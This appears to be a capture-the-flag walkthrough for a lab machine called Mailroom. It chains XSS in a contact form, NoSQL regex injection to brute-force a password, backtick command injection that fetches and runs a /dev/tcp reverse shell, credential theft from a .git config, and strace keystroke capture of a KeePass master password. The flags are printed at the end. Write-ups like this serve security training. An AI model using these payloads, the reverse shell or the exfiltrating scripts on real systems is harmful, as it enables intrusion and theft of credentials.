Scanning
> TARGET=10.129.208.180 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 62 Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-favicon: Unknown favicon MD5: 846CD0D87EB3766F77831902466D753F
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: The Mail Room
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web Enum
> dirsearch -u http://mailroom.htb
[17:29:18] 200 - 0B - /README.md
[17:29:24] 200 - 7KB - /about.php
[17:29:44] 301 - 313B - /assets -> http://mailroom.htb/assets/
[17:29:44] 403 - 277B - /assets/
[17:29:54] 200 - 4KB - /contact.php
[17:29:55] 301 - 310B - /css -> http://mailroom.htb/css/
[17:30:07] 200 - 8KB - /index.php
[17:30:08] 200 - 8KB - /index.php/login/
[17:30:09] 301 - 317B - /javascript -> http://mailroom.htb/javascript/
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://mailroom.htb/" -H "Host: FUZZ.mailroom.htb" --hl 128
000000262: 200 267 L 1181 W 13089 Ch "git"
$subject = '2FA Token';
$message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;
mail($to, $subject, $message);
XSS
- Continue reading the code and exploring the app,
http://mailroom.htb/contact.php
is vulnerable to xss, both title and text fields. - The subdomain
http://staff-review-panel.mailroom.htb/
is not directly accessible but can be exploited using the xss vulnerability. mongdb
is used, and is vulnerable to nosql injection- Craft the following payload as a poc, this pattern can be used to figure our both email and password
<script>
var xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function() {
if(xmlHttp.readyState == XMLHttpRequest.DONE) {
var r2 = new XMLHttpRequest();
r2.open("POST", "http://<ip>/", false);
r2.send(btoa(encodeURIComponent(xmlHttp.responseText)));
}
};
xmlHttp.open("POST", "http://staff-review-panel.mailroom.htb/auth.php", false);
xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlHttp.send("email=tristan@mailroom.htb&password[$regex]=^69.*");
</script>
tristan@mailroom.htb
was found to be a valid email
curl http://mailroom.htb/contact.php -d 'email=test%40test.com&title=test&message=%3Cscript%3Evar+xmlHttp%3Dnew+XMLHttpRequest%28%29%3BxmlHttp.onreadystatechange%3Dfunction%28%29%7Bif%28xmlHttp.readyState%3D%3DXMLHttpRequest.DONE%29%7Bvar+r2%3Dnew+XMLHttpRequest%28%29%3Br2.open%28%22POST%22%2C%22http%3A%2F%2F<ip>%2F%22%2Cfalse%29%3Br2.send%28btoa%28encodeURIComponent%28xmlHttp.responseText%29%29%29%3B%7D%7D%3BxmlHttp.open%28%22POST%22%2C%22http%3A%2F%2Fstaff-review-panel.mailroom.htb%2Fauth.php%22%2Cfalse%29%3BxmlHttp.setRequestHeader%28%22Content-Type%22%2C%22application%2Fx-www-form-urlencoded%22%29%3BxmlHttp.send%28%22email=tristan@mailroom.htb%26password%5B%24regex%5D%3D.*%22%29%3B%3C%2Fscript%3E'
- Figure out the password length:
12
curl http://mailroom.htb/contact.php -d 'email=test%40test.com&title=test&message=%3Cscript%3E%0D%0Avar+xmlHttp+%3D+new+XMLHttpRequest%28%29%3B%0D%0AxmlHttp.onreadystatechange+%3D+function%28%29+%7B%0D%0A++++if%28xmlHttp.readyState+%3D%3D+XMLHttpRequest.DONE%29+%7B%0D%0A++++++++var+r2+%3D+new+XMLHttpRequest%28%29%3B%0D%0A++++++++r2.open%28%22POST%22%2C+%22http%3A%2F%2F<ip>%2F%22%2C+false%29%3B%0D%0A++++++++r2.send%28btoa%28encodeURIComponent%28xmlHttp.responseText%29%29%29%3B%0D%0A++++%7D%0D%0A%7D%3B%0D%0AxmlHttp.open%28%22POST%22%2C+%22http%3A%2F%2Fstaff-review-panel.mailroom.htb%2Fauth.php%22%2C+false%29%3B%0D%0AxmlHttp.setRequestHeader%28%22Content-Type%22%2C+%22application%2Fx-www-form-urlencoded%22%29%3B%0D%0AxmlHttp.send%28%22email%3Dtristan%40mailroom.htb%26password[$regex]=.{12}%22%29%3B%0D%0A%3C%2Fscript%3E'
- Create a python script to bruteforce the password:
69trisRulez!
- This is a lengthy process, because there is no effective way to feedback, so you need to have a listensing server and the bruteforcer running separately. Also, do not run the bruteforcer too fast, it may cause the server to hold.
- Run the bruteforcer to find out the password character by character
import requests
import string
import time
for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + '!@#$%^&*()_+':
r = requests.post('http://mailroom.htb/contact.php', {'email':'test@test.com','title':'test','message':'<script>var xmlHttp = new XMLHttpRequest();xmlHttp.onreadystatechange = function() { if(xmlHttp.readyState == XMLHttpRequest.DONE) { var r2 = new XMLHttpRequest(); r2.open("POST", "http://<ip>/?'+c+'", false); r2.send(btoa(encodeURIComponent(xmlHttp.responseText))); } };xmlHttp.open("POST", "http://staff-review-panel.mailroom.htb/auth.php", false);xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");xmlHttp.send("email=tristan@mailroom.htb&password[$regex]=^69trisRulez'+c+'.*");</script>'})
print(c)
time.sleep(8)
- Server for listening, this is utilizing the different response when the regex matches or not.
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
import base64
import urllib.parse
class S(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
def do_GET(self):
logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
self._set_response()
self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))
def do_POST(self):
content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
post_data = self.rfile.read(content_length) # <--- Gets the data itself
r = urllib.parse.unquote(base64.b64decode(post_data.decode('utf-8')))
if 'Invalid email or password' not in r:
logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
str(self.path), str('self.headers'), r)
else:
logging.info("nothing")
self._set_response()
self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))
def run(server_class=HTTPServer, handler_class=S, port=8080):
logging.basicConfig(level=logging.INFO)
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info('Starting httpd...\n')
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
logging.info('Stopping httpd...\n')
if __name__ == '__main__':
from sys import argv
if len(argv) == 2:
run(port=int(argv[1]))
else:
run()
- Login as tristan to the host with the above credential via ssh
- Because we can freely make request to the http://staff-review-panel.mailroom.htb app and read the mail on the host, we can now actually login to the app on the target host.
# login
tristan@mailroom:~$ curl --cookie-jar cookie.txt http://staff-review-panel.mailroom.htb/auth.php -d 'email=tristan@mailroom.htb&password=69trisRulez!'
{"success":true,"message":"Check your inbox for an email with your 2FA token"}
# check mail
tritristan@mailroom:~$ cat /var/mail/tristan
Return-Path: <noreply@mailroom.htb>
X-Original-To: tristan@mailroom.htb
Delivered-To: tristan@mailroom.htb
Received: from localhost (unknown [172.19.0.5])
by mailroom.localdomain (Postfix) with SMTP id C17C51CEF
for <tristan@mailroom.htb>; Mon, 17 Apr 2023 07:11:46 +0000 (UTC)
Subject: 2FA
Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=245156911bbe95e9fc64cd421ba4d8d7
From noreply@mailroom.htb Mon Apr 17 07:21:47 2023
Return-Path: <noreply@mailroom.htb>
X-Original-To: tristan@mailroom.htb
Delivered-To: tristan@mailroom.htb
Received: from localhost (unknown [172.19.0.5])
by mailroom.localdomain (Postfix) with SMTP id 3D2601CF8
for <tristan@mailroom.htb>; Mon, 17 Apr 2023 07:21:47 +0000 (UTC)
Subject: 2FA
Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=fce0fc26338a425976b7efb27d1d6124
# apply 2FA
tristan@mailroom:~$ curl --cookie cookie.txt http://staff-review-panel.mailroom.htb/auth.php?token=fce0fc26338a425976b7efb27d1d6124
# continue with the cookie jar
tristan@mailroom:~$ curl --cookie cookie.txt http://staff-review-panel.mailroom.htb/ -L
- Read
inspect.php
, cmd injection possible using ``` character.
$inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['inquiry_id']);
$contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");
> curl --cookie cookie.txt http://staff-review-panel.mailroom.htb/inspect.php -L -d 'inquiry_id=`curl <ip>`'
bash -i >& /dev/tcp/<ip>/4444 0>&1
- Fetch the shell script and trigger it
> curl --cookie cookie.txt http://staff-review-panel.mailroom.htb/inspect.php -L -d 'inquiry_id=`curl <ip>/shell.sh -o /tmp/shell.sh`'
> curl --cookie cookie.txt http://staff-review-panel.mailroom.htb/inspect.php -L -d 'inquiry_id=`bash /tmp/shell.sh`'
User: matthew
- Locate the config file in .git and get matthew’s password, note the last character is
#
(i.e %23): HueLover83#
www-data@04ca784f2935:/var/www/mailroom/.git$ cat config
cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://matthew:HueLover83%23@gitea:3000/matthew/mailroom.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
[user]
email = matthew@mailroom.htb
- login as matthew and the user flag
tristan@mailroom:~$ su matthew
Password:
matthew@mailroom:/home/tristan$ cd
matthew@mailroom:~$ ls
personal.kdbx user.txt
matthew@mailroom:~$ cat user.txt
93672026de8c69f1ec985140b2b17456
PE: root
- There is a .kdbx file at /home/matthew/personal.kdbx
- Use pspy64 to check background process
- Locate /usr/bin/pearl /usr/bin/kpcli and use
strace
to intercept its traces
matthew@mailroom:~$ strace -p 437554
- This will print out the manually input password, save the trace into a txt file and parse, note the
\x10
backspace character
> cat strace.txt| grep read | grep 8192 | grep -v '0x5607d9f85d80'
read(5, "\3\331\242\232g\373K\265\1\0\3\0\2\20\0001\301\362\346\277qCP\276X\5!j\374Z\377\3"..., 8192) = 1998
read(0, "!", 8192) = 1
read(0, "s", 8192) = 1
read(0, "E", 8192) = 1
read(0, "c", 8192) = 1
read(0, "U", 8192) = 1
read(0, "r", 8192) = 1
read(0, "3", 8192) = 1
read(0, "p", 8192) = 1
read(0, "4", 8192) = 1
read(0, "$", 8192) = 1
read(0, "$", 8192) = 1
read(0, "w", 8192) = 1
read(0, "0", 8192) = 1
read(0, "1", 8192) = 1
read(0, "\10", 8192) = 1
read(0, "r", 8192) = 1
read(0, "d", 8192) = 1
read(0, "9", 8192) = 1
read(0, "\n", 8192) = 1
- Master password for personal.kdbx:
!sEcUr3p4$$w0rd9
matthew@mailroom:~$ kpcli -kdb personal.kdbx
kpcli:/> ls Root/
=== Entries ===
0. food account door.dash.local
1. GItea Admin account git.mailroom.htb
2. gitea database password
3. My Gitea Account git.mailroom.htb
4. root acc
kpcli:/> show 0
Title: food account
Uname: matthew_doordash
Pass: fake_password
URL: http://door.dash.local/
Notes: yum yum food yum
kpcli:/> show 1
Title: GItea Admin account
Uname: administrator
Pass: CZTwvKT7yHyEdb4
URL: http://git.mailroom.htb/
Notes: For fixing stuff only!
kpcli:/> show 2
Title: gitea database password
Uname: gitea
Pass: gitea_l33t_p@ssw04d
URL:
Notes:
kpcli:/> show 3
Title: My Gitea Account
Uname: matthew
Pass: HueLover83#
URL: http://git.mailroom.htb/
Notes: for work
kpcli:/> show 4
Title: root acc
Uname: root
Pass: a$gBa3!GA8
URL:
Notes: root account for sysadmin jobs
- Login using root password to get the flag
matthew@mailroom:~$ su
Password:
root@mailroom:/home/matthew# cd
root@mailroom:~# cat root.txt
c936bd2956868053cc66617bfcc42b36